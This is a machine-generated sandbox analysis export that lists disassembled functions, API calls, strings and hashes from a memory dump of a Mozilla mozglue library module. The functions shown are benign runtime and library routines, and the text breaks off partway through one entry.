memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C61CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C61CF4E

Strings

0, xrefs: 6C61CF30

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 4078ee01b9712f62efbf35207f1ac449ea2c61cfa1170fa4893e53273e6a0863
Instruction ID: 7572cd5098322bc731e5f51eac3212982a3cf070f6dd1f73234d55f9907e6f4c
Opcode Fuzzy Hash: 4078ee01b9712f62efbf35207f1ac449ea2c61cfa1170fa4893e53273e6a0863
Instruction Fuzzy Hash: 1D512371A042568FCB00CF1CC490AAABBB5EF99300F19829DD95A5F751D331ED06CBE0

Function 6C6777D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C677829

Part of subcall function 6C64CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6131A7), ref: 6C64CC45
Part of subcall function 6C64CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6131A7), ref: 6C64CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C67789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6778CF

Part of subcall function 6C614DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C614E5A
Part of subcall function 6C614DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C614E97

Part of subcall function 6C614290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C653EBD,6C653EBD,00000000), ref: 6C6142A9

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 943b416a1cefb7b026431b9e5ed871344f0d3586024b160e38631aea690552cc
Instruction ID: 437c4c398330896156cefcf9602a3c9d00fc2b91e254ac62fca1d5b09b549d1f
Opcode Fuzzy Hash: 943b416a1cefb7b026431b9e5ed871344f0d3586024b160e38631aea690552cc
Instruction Fuzzy Hash: FA41AF719047069BD301DF29C48056AFBF4FFCA258F204A2DE4A987640DB70D559CBDA

Function 6C656470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6582BC,?,?), ref: 6C65649B

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6564A9

Part of subcall function 6C64FA80: GetCurrentThreadId.KERNEL32 ref: 6C64FA8D
Part of subcall function 6C64FA80: AcquireSRWLockExclusive.KERNEL32(6C69F448), ref: 6C64FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65653F
free.MOZGLUE(?), ref: 6C65655A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 2268f90f4846a99b23c43530716545ff8fb19ea600bb19675d3c63732d5238e5
Instruction ID: 39076110e469157c08c1161b6b9e4454a64bb6136d45fb70c896a51e971ffa04
Opcode Fuzzy Hash: 2268f90f4846a99b23c43530716545ff8fb19ea600bb19675d3c63732d5238e5
Instruction Fuzzy Hash: 33319EB5A043059FD700CF25D880A9FBBE4FF89314F50842EE89A97740DB34E919CB9A

Function 6C64FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C66D019,?,?,?,?,?,00000000,?,6C65DA31,00100000,?), ref: 6C64FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C66D019,?,?,?,?,?,00000000,?,6C65DA31,00100000,?,?), ref: 6C64FFF5
free.MOZGLUE(?,?,?,?,?,6C66D019,?,?,?,?,?,00000000,?,6C65DA31,00100000,?), ref: 6C65001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C66D019,?,?,?,?,?,00000000,?,6C65DA31,00100000,?,?), ref: 6C65002A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: f24d206dd5193a02b2f2e3e386973ea3fba9450abf847a2a56eeb01d8423e67c
Instruction ID: 1695d3b889229397ab28d95f2512a43dd0e4142ec3b75932054f8fe5e3337152
Opcode Fuzzy Hash: f24d206dd5193a02b2f2e3e386973ea3fba9450abf847a2a56eeb01d8423e67c
Instruction Fuzzy Hash: 212106B2E002115BC7189E78DC848AFB7BAEB853247254338E525D7780EB70AD1187E9

Function 6C62B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62B4F5
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62B502
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62B542
free.MOZGLUE(?), ref: 6C62B578

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9c2c76a120a53928870114f2ddf48d7cbbe14d7b13d3e2ed95ee470057f27956
Instruction ID: 769d966ef9b6dcb5d074e4b04f68ed38acacd7baafe66d70483bf3073cffd036
Opcode Fuzzy Hash: 9c2c76a120a53928870114f2ddf48d7cbbe14d7b13d3e2ed95ee470057f27956
Instruction Fuzzy Hash: C6113630A04B42C7C311CF2AC4403A5B3B0FFD6719F11970AE84A67A02EBB4B1D5CB89

Function 6C653DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C61F20E,?), ref: 6C653DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C61F20E,00000000,?), ref: 6C653DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C653E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C653E0E

Part of subcall function 6C64CC00: GetCurrentProcess.KERNEL32(?,?,6C6131A7), ref: 6C64CC0D
Part of subcall function 6C64CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6131A7), ref: 6C64CC16

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 02ca1fb9412a7f3ddfc45c6c1f933c43a2fb410e7c894e683a32a83da985333a
Instruction ID: a59db8c93ad57dc3ac53f6b297e9765a2b8b20acf21f2abab7fbf54630b8e893
Opcode Fuzzy Hash: 02ca1fb9412a7f3ddfc45c6c1f933c43a2fb410e7c894e683a32a83da985333a
Instruction Fuzzy Hash: 09F05EB16002097BDB00AF55DC81DAB376CDB47628F044020FD0917740D635B92986FF

Function 6C662050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C66201B,?,?,?,?,?,?,?,6C661F8F,?,?), ref: 6C662064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66208E
free.MOZGLUE(?,?,?,00000000,?,6C66201B,?,?,?,?,?,?,?,6C661F8F,?,?), ref: 6C6620A3

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f54aca76b506962a439a9a67831b96757415487662d9bebab04daaca9fe9b027
Instruction ID: a2374b12228bba04002449b16f40a4fc659cc562556ab08ca91f9dc6af575cc6
Opcode Fuzzy Hash: f54aca76b506962a439a9a67831b96757415487662d9bebab04daaca9fe9b027
Instruction Fuzzy Hash: EAF0E9711047119BC7218F17D8C875BB7F9EFC6364F10011AE54687B10C775A906CB9E

Function 6C6685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6685D3

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C668725

Strings

map/set<T> too long, xrefs: 6C668720

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 592c80b6beacbf5186186f2f4d06ae8f20a8fd003be9dff1f224ae7bedb82ab1
Instruction ID: 7fd7dd1e767d07f6e10685690adc95cb08582ea3252883e7870cf2fea0e584ad
Opcode Fuzzy Hash: 592c80b6beacbf5186186f2f4d06ae8f20a8fd003be9dff1f224ae7bedb82ab1
Instruction Fuzzy Hash: 8B5165746006418FD701CF2AC094A5AFBF1BF4A318F18C28AD8599BB62C375EC85CF96

Function 6C61BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C61BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61BE8F

Strings

0, xrefs: 6C61BE5B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 6259da0d18f8369364d49f8d8d00216c8ad35067216078adf7ecb8187de0c297
Instruction ID: f7a72db0fdda872e29671b24a753285496f2e39732c0a38099a0bd092d6c7226
Opcode Fuzzy Hash: 6259da0d18f8369364d49f8d8d00216c8ad35067216078adf7ecb8187de0c297
Instruction Fuzzy Hash: 63418DB190D745CFC701CF39C481A9BB7E4AFCA389F008A1DF985A7B11D73099598B8A

Function 6C653CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C653D19
mozalloc_abort.MOZGLUE(?), ref: 6C653D6C

Strings

d, xrefs: 6C653D58

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 34badb420bdc94f0494b103391046214f68c3b41ffb62587cdbcee95b2524be4
Instruction ID: 6f8c90e964b9c7d1810b996aa02c5773c56a3b033d3c3e2b9ebe134de8d27a3c
Opcode Fuzzy Hash: 34badb420bdc94f0494b103391046214f68c3b41ffb62587cdbcee95b2524be4
Instruction Fuzzy Hash: AD110431E04689D7DB018F6AC8544EDB7B5EF87718F948329ED459B602EB30A594C3A8

Function 6C624730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6244B2,6C69E21C,6C69F7F8), ref: 6C62473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C62474A

Strings

GetNtLoaderAPI, xrefs: 6C624744

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: e4bb3ab4ba53f8c6871bad42e54285f4db651bb28086e473f45f98c569a186bb
Instruction ID: 8954bdcd882d9328fce4dbbe8abf47726b9d18772a7fbca754901106eb95ef7a
Opcode Fuzzy Hash: e4bb3ab4ba53f8c6871bad42e54285f4db651bb28086e473f45f98c569a186bb
Instruction Fuzzy Hash: F2018C753042158FDF009FA7888862D7BB9EB8A311F054069EA06C7300CB75E8018F9A

Function 6C676DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C676E22
__Init_thread_footer.LIBCMT ref: 6C676E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C676E1D

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: bfc7980d5b46d9b957fa3f905a6fe80a0847dec655dc933f2a43b49467e583e9
Instruction ID: 466c5895981d054cca301e4fdb39e81eeb4074c5b862684c89398109edfbd82d
Opcode Fuzzy Hash: bfc7980d5b46d9b957fa3f905a6fe80a0847dec655dc933f2a43b49467e583e9
Instruction Fuzzy Hash: D9F05932608343DBDF108F69C890A9137715303318F250565E84146BA1CB61E507CEBF

Function 6C629E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C629EEF

Strings

Infinity, xrefs: 6C629EB7
NaN, xrefs: 6C629EC1

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 2428462b0fb9a627eab83dd9d2f91fe6c65fa2ab76a7648143369bbd4ad2e988
Instruction ID: 1b89f45422f3a9dd62591eea2bcf412cc68656ba0225e0a1d50ef124fe62d3ff
Opcode Fuzzy Hash: 2428462b0fb9a627eab83dd9d2f91fe6c65fa2ab76a7648143369bbd4ad2e988
Instruction Fuzzy Hash: 93F03C71701243CAEB008F1AD88579033F1A74731DF228A19E5440AAA1D7B5655E8A9F

Function 6C626C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kel,?,6C654B30,80000000,?,6C654AB7,?,6C6143CF,?,6C6142D2), ref: 6C626C42

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

moz_xmalloc.MOZGLUE(0Kel,?,6C654B30,80000000,?,6C654AB7,?,6C6143CF,?,6C6142D2), ref: 6C626C58

Strings

0Kel, xrefs: 6C626C33, 6C626C41, 6C626C57

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kel
API String ID: 1967447596-4046386957
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 4d344bf75a9afb14a48e357c5df6f25fd26c965ac24b25ee9f56862d748ab6ca
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: EFE086F1B105055AAB08A97D9C0A56B71C88B153A87044A35E823D6BC8FA9CE5508A9D

Function 6C623850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C69F860), ref: 6C62385C
ReleaseSRWLockExclusive.KERNEL32(6C69F860,?), ref: 6C623871

Strings

,il, xrefs: 6C62387A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,il
API String ID: 17069307-327482098
Opcode ID: 7d6398b9b184b2122747449d1f48966fd5cb5ad82813df546d89acab488d6cab
Instruction ID: ed7667df1b682f07c00fdc8e838ab43679e12ee7b912b89b700b33daa8b19355
Opcode Fuzzy Hash: 7d6398b9b184b2122747449d1f48966fd5cb5ad82813df546d89acab488d6cab
Instruction Fuzzy Hash: 1CE0DF31A25A1B9787119F97954158A3BBCEE477907064015F4091FA00C73895408ECF

Function 6C62BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C62BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C62BEF5

Strings

cryptbase.dll, xrefs: 6C62BEF0

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c7fb94511a68035bb3ab8a3a040d1b61772cb1aa3c3d2ebcc4c0623d641fd4db
Instruction ID: 300327028b962d78a31bfbc18948cd9a21317e4e999629e5ead3be37d14097e0
Opcode Fuzzy Hash: c7fb94511a68035bb3ab8a3a040d1b61772cb1aa3c3d2ebcc4c0623d641fd4db
Instruction Fuzzy Hash: 3AD0A731184209E7C7106E518C05B29377CD7813A5F10C020F75684851C7B09413CF4C

Function 6C66B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C66B2C9,?,?,?,6C66B127,?,?,?,?,?,?,?,?,?,6C66AE52), ref: 6C66B628

Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C6690FF
Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C669108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C66B2C9,?,?,?,6C66B127,?,?,?,?,?,?,?,?,?,6C66AE52), ref: 6C66B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C66B2C9,?,?,?,6C66B127,?,?,?,?,?,?,?,?,?,6C66AE52), ref: 6C66B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C66B127,?,?,?,?,?,?,?,?), ref: 6C66B74D

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4336b3502c18a5d8ed8bbd0f5167ff974c52e4e4676c2c5825c033e2f8d9f5fd
Instruction ID: ffb179e97d81553611a219650e13d3044661744006f474601522cb14d1c463d0
Opcode Fuzzy Hash: 4336b3502c18a5d8ed8bbd0f5167ff974c52e4e4676c2c5825c033e2f8d9f5fd
Instruction Fuzzy Hash: A251C071A05216CBDB14CF1AC98465EFBB5FFC5304F45852DE85AABB10DB31A804CBAA

Function 6C66DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C65FF2A), ref: 6C66DFFD

